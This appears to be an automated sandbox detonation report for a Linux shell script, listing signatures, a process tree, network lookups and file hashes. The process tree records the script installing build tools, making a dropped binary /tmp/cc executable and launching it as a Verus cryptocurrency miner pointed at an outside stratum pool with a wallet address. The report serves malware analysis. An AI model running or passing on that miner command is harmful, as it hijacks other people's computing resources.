SHA512 cb367796f6056840dac54cfc82ba04b4d2a1b6371083ca1f2467a2b19ea4e34d5ce0b17a68010352c476e0786d14a6dcd76d6112aa769ba902b6b56331dfb16a

/tmp/cc

MD5 4011d473f6b06caa7f3d514e4eeb2184
SHA1 529bda4d64920cac51baa6b34b8bcabf19d97248
SHA256 bf7d1a01e88322991a824676601b46be7625b50a9d8ee8de085cc86ba76f7bc2
SHA512 45f9da5d9f43c1876fc3659a8e7e03b9d06ec83bf6c8d237daf3809cbec01a5c59688a1cf4780d695750fc42920428ff69545f5dce11b888418df919c3625f39

/root/.wget-hsts

MD5 50a282883be951f57dbbbbfb5b4b83fc
SHA1 8d99980b122eed8cf7e69d03483881e11f615e62
SHA256 e8e4b6df9127718cc21918029d0da056644f1e150a80803ec0755bd63e6ea171
SHA512 541ca88aabefaecb05f31136ee5d1a97c57e280ff8df62dcf852e55e91abdb006e976d692e6d6751cf475a328a58f7cc2e76a3e4100df4dbb9b6c7a9b1115677

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-14 13:29

Reported

2024-07-14 14:00

Platform

debian12-armhf-20240221-en

Max time kernel

49s

Max time network

1809s

Command Line

[/tmp/triage-script.sh]

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A /var/lib/dpkg/tmp.ci/preinst /var/lib/dpkg/tmp.ci/preinst N/A
N/A /var/lib/dpkg/info/automake.postinst /var/lib/dpkg/info/automake.postinst N/A

Deletes log files

Description Indicator Process Target
File deleted /var/log/apt/eipp.log.xz /usr/bin/apt-get N/A

Write file to user bin folder

Description Indicator Process Target
File opened for modification /usr/bin/autoscan.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/ifnames.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/dh_autotools-dev_updateconfig.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/aclocal-1.16.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/automake-1.16.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/curl-config.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoconf.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoheader.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoupdate.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/dh_autotools-dev_restoreconfig.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autom4te.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoreconf.dpkg-new /usr/bin/dpkg N/A

Checks CPU configuration

antivm
Description Indicator Process Target
File opened for reading /proc/cpuinfo /usr/sbin/sendmail N/A
File opened for reading /proc/cpuinfo /usr/sbin/exim4 N/A
File opened for reading /proc/cpuinfo /usr/lib/apt/methods/http N/A
File opened for reading /proc/cpuinfo /usr/lib/apt/methods/http N/A
File opened for reading /proc/cpuinfo /usr/lib/apt/methods/http N/A
File opened for reading /proc/cpuinfo /usr/bin/apt-get N/A

Reads CPU attributes

Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /usr/sbin/exim4 N/A

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/sys/kernel/cap_last_cap /usr/bin/sudo N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/1/limits /usr/bin/sudo N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/apt-get N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/self/stat /usr/bin/sudo N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/sys/kernel/seccomp/actions_avail /usr/bin/sudo N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/sudo N/A
File opened for reading /proc/sys/crypto/fips_enabled /usr/lib/apt/methods/http N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/self/fd /usr/bin/apt-get N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/sudo N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/sbin/sendmail N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/sys/crypto/fips_enabled /usr/lib/apt/methods/http N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/meminfo /usr/bin/dpkg-deb N/A
File opened for reading /proc/sys/crypto/fips_enabled /usr/bin/apt-get N/A

Processes

/tmp/triage-script.sh

[/tmp/triage-script.sh]

/usr/bin/sudo

[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/sbin/sendmail

[sendmail -t]

/usr/bin/apt-get

[apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/sbin/exim4

[/usr/sbin/exim4 -Mc 1sSxRF-0000Bo-1i]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/bin/sh

[/bin/sh -c /usr/sbin/dpkg-preconfigure --apt || true]

/usr/sbin/dpkg-preconfigure

[/usr/sbin/dpkg-preconfigure --apt]

/usr/local/sbin/locale

[locale charmap]

/usr/local/bin/locale

[locale charmap]

/usr/sbin/locale

[locale charmap]

/usr/bin/locale

[locale charmap]

/bin/sh

[sh -c stty -a 2>/dev/null]

/usr/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/usr/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/usr/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/usr/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/usr/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/usr/bin/stty

[stty -a]

/usr/bin/dpkg

[/usr/bin/dpkg --assert-multi-arch]

/usr/bin/dpkg

[/usr/bin/dpkg --assert-protected-field]

/usr/bin/dpkg

[/usr/bin/dpkg --status-fd 18 --no-triggers --unpack --auto-deconfigure --recursive /tmp/apt-dpkg-install-BvAS4Z]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/0-autoconf_2.71-3_all.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/0-autoconf_2.71-3_all.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/0-autoconf_2.71-3_all.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/0-autoconf_2.71-3_all.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/0-autoconf_2.71-3_all.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/0-autoconf_2.71-3_all.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/1-autotools-dev_20220109.1_all.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/1-autotools-dev_20220109.1_all.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/1-autotools-dev_20220109.1_all.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/1-autotools-dev_20220109.1_all.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/1-autotools-dev_20220109.1_all.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/1-autotools-dev_20220109.1_all.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/2-automake_1%3a1.16.5-1.3_all.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/2-automake_1%3a1.16.5-1.3_all.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/2-automake_1%3a1.16.5-1.3_all.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/2-automake_1%3a1.16.5-1.3_all.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/var/lib/dpkg/tmp.ci/preinst

[/var/lib/dpkg/tmp.ci/preinst install]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/2-automake_1%3a1.16.5-1.3_all.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/2-automake_1%3a1.16.5-1.3_all.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/3-libcurl4-openssl-dev_7.88.1-10+deb12u5_armhf.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/3-libcurl4-openssl-dev_7.88.1-10+deb12u5_armhf.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/3-libcurl4-openssl-dev_7.88.1-10+deb12u5_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/3-libcurl4-openssl-dev_7.88.1-10+deb12u5_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/3-libcurl4-openssl-dev_7.88.1-10+deb12u5_armhf.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/3-libcurl4-openssl-dev_7.88.1-10+deb12u5_armhf.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/4-libjansson-dev_2.14-2_armhf.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/4-libjansson-dev_2.14-2_armhf.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/4-libjansson-dev_2.14-2_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/4-libjansson-dev_2.14-2_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/4-libjansson-dev_2.14-2_armhf.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/4-libjansson-dev_2.14-2_armhf.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/5-libz3-4_4.8.12-3.1_armhf.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/5-libz3-4_4.8.12-3.1_armhf.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/5-libz3-4_4.8.12-3.1_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/5-libz3-4_4.8.12-3.1_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/5-libz3-4_4.8.12-3.1_armhf.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/5-libz3-4_4.8.12-3.1_armhf.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/6-libllvm14_1%3a14.0.6-12_armhf.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/6-libllvm14_1%3a14.0.6-12_armhf.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/6-libllvm14_1%3a14.0.6-12_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/6-libllvm14_1%3a14.0.6-12_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/6-libllvm14_1%3a14.0.6-12_armhf.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/6-libllvm14_1%3a14.0.6-12_armhf.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/7-libomp5-14_1%3a14.0.6-12_armhf.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/7-libomp5-14_1%3a14.0.6-12_armhf.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/7-libomp5-14_1%3a14.0.6-12_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/7-libomp5-14_1%3a14.0.6-12_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/7-libomp5-14_1%3a14.0.6-12_armhf.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/7-libomp5-14_1%3a14.0.6-12_armhf.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/8-libomp-14-dev_1%3a14.0.6-12_armhf.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/8-libomp-14-dev_1%3a14.0.6-12_armhf.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/8-libomp-14-dev_1%3a14.0.6-12_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/8-libomp-14-dev_1%3a14.0.6-12_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/8-libomp-14-dev_1%3a14.0.6-12_armhf.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/8-libomp-14-dev_1%3a14.0.6-12_armhf.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/9-libomp-dev_1%3a14.0-55.7~deb12u1_armhf.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-BvAS4Z/9-libomp-dev_1%3a14.0-55.7~deb12u1_armhf.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/9-libomp-dev_1%3a14.0-55.7~deb12u1_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-BvAS4Z/9-libomp-dev_1%3a14.0-55.7~deb12u1_armhf.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/9-libomp-dev_1%3a14.0-55.7~deb12u1_armhf.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-BvAS4Z/9-libomp-dev_1%3a14.0-55.7~deb12u1_armhf.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg

[/usr/bin/dpkg --status-fd 18 --configure --pending]

/var/lib/dpkg/info/automake.postinst

[/var/lib/dpkg/info/automake.postinst configure ]

/usr/bin/update-alternatives

[update-alternatives --install /usr/bin/automake automake /usr/bin/automake-1.16 34 --slave /usr/bin/aclocal aclocal /usr/bin/aclocal-1.16 --slave /usr/share/man/man1/automake.1.gz automake.1.gz /usr/share/man/man1/automake-1.16.1.gz --slave /usr/share/man/man1/aclocal.1.gz aclocal.1.gz /usr/share/man/man1/aclocal-1.16.1.gz]

/var/lib/dpkg/info/libc-bin.postinst

[/var/lib/dpkg/info/libc-bin.postinst triggered ldconfig]

/usr/sbin/ldconfig

[ldconfig -r /]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/bin/chmod

[chmod +x cc]

/usr/bin/clear

[clear]

/usr/bin/nproc

[nproc]

/tmp/cc

[./cc -a verus -o stratum+tcp://de.vipor.net:5040 -u RHACKERwSVgjTvV4vNiTjmrkLTD7a92ALD.Linux -p x -t 1]

Network

Country Destination Domain Proto
US 1.1.1.1:53 debian12-armhf-20240221-en-15 udp
US 1.1.1.1:53 debian12-armhf-20240221-en-15 udp
US 1.1.1.1:53 debian12-armhf-20240221-en-15 udp
US 1.1.1.1:53 debian12-armhf-20240221-en-15 udp
US 1.1.1.1:53 debian12-armhf-20240221-en-15 udp
US 1.1.1.1:53 _http._tcp.ftp.debian.org udp
US 1.1.1.1:53 debian12-armhf-20240221-en-15 udp
US 1.1.1.1:53 debian.map.fastlydns.net udp
US 1.1.1.1:53 debian12-armhf-20240221-en-15 udp
GB 146.75.74.132:80 debian.map.fastlydns.net tcp
US 1.1.1.1:53 debian12-armhf-20240221-en-15 udp
US 1.1.1.1:53 debian12-armhf-20240221-en-15 udp
US 1.1.1.1:53 _http._tcp.security.debian.org udp
US 1.1.1.1:53 debian.map.fastlydns.net udp
GB 146.75.74.132:80 debian.map.fastlydns.net tcp
US 1.1.1.1:53 debian12-armhf-20240221-en-15 udp
US 1.1.1.1:53 0.debian.pool.ntp.org udp
US 1.1.1.1:53 0.debian.pool.ntp.org udp
US 1.1.1.1:53 debian12-armhf-20240221-en-15 udp
US 1.1.1.1:53 debian12-armhf-20240221-en-15 udp

Files

/var/spool/exim4/input/1sSxRF-0000Bo-1i-D

MD5 b312186023966f7857c697c448f1cdc3
SHA1 0cf825e094769374a1bc5c87def9cac16d7becf7
SHA256 9a14d48429fbc54c5f1430a7cb1d1effc60e508d5f0d1d43d8efa235f9d7fac9
SHA512 34bae7bdcdf342e51b62ae3e0229a56d5c1d580f6815a41c7a6a22cca9a18c3cf0ec3909d26242026e7c43a54361cdaf2d7ea1b16b7b9766feb8ab14ccd66c8f

/var/spool/exim4/input/hdr.1sSxRF-0000Bo-1i

MD5 41326c44c73ba7087aa9c17d621110e8
SHA1 f8f440927ae14868ac596f89655f76133c3d33d8
SHA256 6d8b8f7d508596fcc67f284032b24857996308b4420cb1db34b6ad1c4d2de96b
SHA512 d00c322b2bbb740ea1f8fd06f23591db6c82b05e874cef6354e892696f45b2f4e7c6f4b2c7d31f785499a6eaa2d6dfa99611cfdf03dfbb1f20db9c4f262f2305

/var/spool/exim4/msglog/1sSxRF-0000Bo-1i

MD5 0aad68a7bf9a8a659cf99ddd68bfdf54
SHA1 3d6c60fa4a8e875019f198b1e3ffabbbb70a14a8
SHA256 ab56eb21b61b6d435085b2a721acf67ba80adab4163ee461385a40fe31218b03
SHA512 666177e4635521d3138777699df35666fa159bbcd0841a47d8b736ac7c5ff0d84705fcee15784408a8b4eae5365d3d4eb63b7e6663c50dcfafca31b67f5c1720

/var/cache/apt/archives/partial/autoconf_2.71-3_all.deb

MD5 7617816428fa33b4d57fa0cc9bf11700
SHA1 1b35fffeb1eefc1bd6f9b414330ce558eabbe28b
SHA256 7d798ed8c21fc7387127de1dfdb4640003d8ba033ae5a1ff29559610cbd0c323
SHA512 9011bbd3a7605838b857634617dfa8febcbd819b82214c66f07eaf4cfcbb6d37d04cd1f06c8fc324b1d2afc937516f21947b36bc506ef45c83f597930ebb585d

/var/cache/apt/archives/partial/autotools-dev_20220109.1_all.deb

MD5 620c916176c4ec4a3cff6e98d815d064
SHA1 954e59b5eb01fb837167193ed05fa2f578746365
SHA256 4d66dcb9c312566f1ca8d46ef0fb06fa4d4786c20b072c81f9d313b64ef981d0
SHA512 618a42bb90fb3774687c2dc411e4755a0ee7c3035c16e3d18b450035799fc16defe18670f369b7e02b934b4e1110fdeb0cbbde3cd93ea91f0162a9b9b49415ea

/var/cache/apt/archives/partial/automake_1%3a1.16.5-1.3_all.deb

MD5 09d47e289c506a7c7f3290f3550c5eca
SHA1 e41be3327e467a91db461851e72028b75ca59999
SHA256 f9a5758d87b5389bf2dbb00cc9c48e0cf59bb0ac842c5ce25d41e4bfa3f2f962
SHA512 d818a5b34da803873f88fe35be7babcf4fc412b9eff23b83d5b767d1d4456d415fa1a6c15a05f92fd98c3eedeb676cd58699b87618d44429b4bb0f68488da155

/var/cache/apt/archives/partial/libjansson-dev_2.14-2_armhf.deb

MD5 a1fd20b4732e193e5a9dbc682a425cb8
SHA1 239c6db49cff47e32149e22e5a1b785010ce0894
SHA256 55bb0cb47d8ac8f48893dda00cd13c0fb9796672fb56c7b433aba44fc0585360
SHA512 ef13f92de1ffc04a53e7a7b91b25ff5e9fc90c2fb0424d02bdc238d6c046a1b7e0b20782b2b3baeca50540799cf6ee4b88e4e20af0bb40ffea4b049a5be7cec7

/var/cache/apt/archives/partial/libz3-4_4.8.12-3.1_armhf.deb

MD5 f912013df71aeebb1c797cf855e5c300
SHA1 b82d64157daed1e6f723ef629f6dc21b0db5476d
SHA256 8340deb576915aa77ed6bc73b5b56c8322e69e22e0b9bd3581ee0ec388908193
SHA512 e9821f758535db252dceeed7d5ea4a6a0296a9061e2077e29b654c76bb2ab9b2f26573f975607dfe08e8d2444bd4c1d4a9753981318cd7021ec97b64ef9d462a

/var/cache/apt/archives/partial/libcurl4-openssl-dev_7.88.1-10+deb12u5_armhf.deb

MD5 e6ed8bc6fdc4c8d6fe4cee98f2384385
SHA1 b9e98c322feb9adae711b64cc898fa40c4321889
SHA256 11c7c327019eacd60395876ded01c4b8ff415a4a4eb8391159ace6e5c7cf0af7
SHA512 1e346654d46b02ce853b6b6a7306143c3351cb9ec709dd3040d6242f9a796b5251c5ffc12553d14facf8d4c669355849cda68f15f2c6fb1bc31912d3057b7fd3

/var/cache/apt/archives/partial/libllvm14_1%3a14.0.6-12_armhf.deb

MD5 22f12ac23d593fc1d81ab9226fe46cbe
SHA1 376783e005115738cf686cd0e201084534a4f00c
SHA256 d7545ae4b9f79e7f1e00a59ac58ea03178937849a02041337126b6ddf51366eb
SHA512 1ee329fb87a4dada0a12db3579bff105b086deab01453053e8a6ecdfd667b981b4e00cb6fe9a371f292d8708057199a22bc827d492dec7efb8d4b951ae4aa206

/var/mail/user

MD5 7bf811baf9ccd1a0029cbd064da7e578
SHA1 49b3d6e7820ea64d7cb9b88658f018b6f0df81fd
SHA256 407d37558c40800c86006df9b709df61c3a885caf174e7f612567b48bdf1508f
SHA512 a768b013c3edece00b5fecb80b3c49e40ad0ce110134a0e88f13764b8243349afdfc8103039ca6d79e18b1307d75f898390213d75a56a8e2498cae49a7efce56

/var/spool/exim4/input/1sSxRF-0000Bo-1i-J

MD5 d7d96d63d643a4ce3e408eba7dfcedc5
SHA1 c53607f95c5c57beafc1d8266646797a035f76ea
SHA256 21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159
SHA512 703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

/var/spool/exim4/msglog/1sSxRF-0000Bo-1i

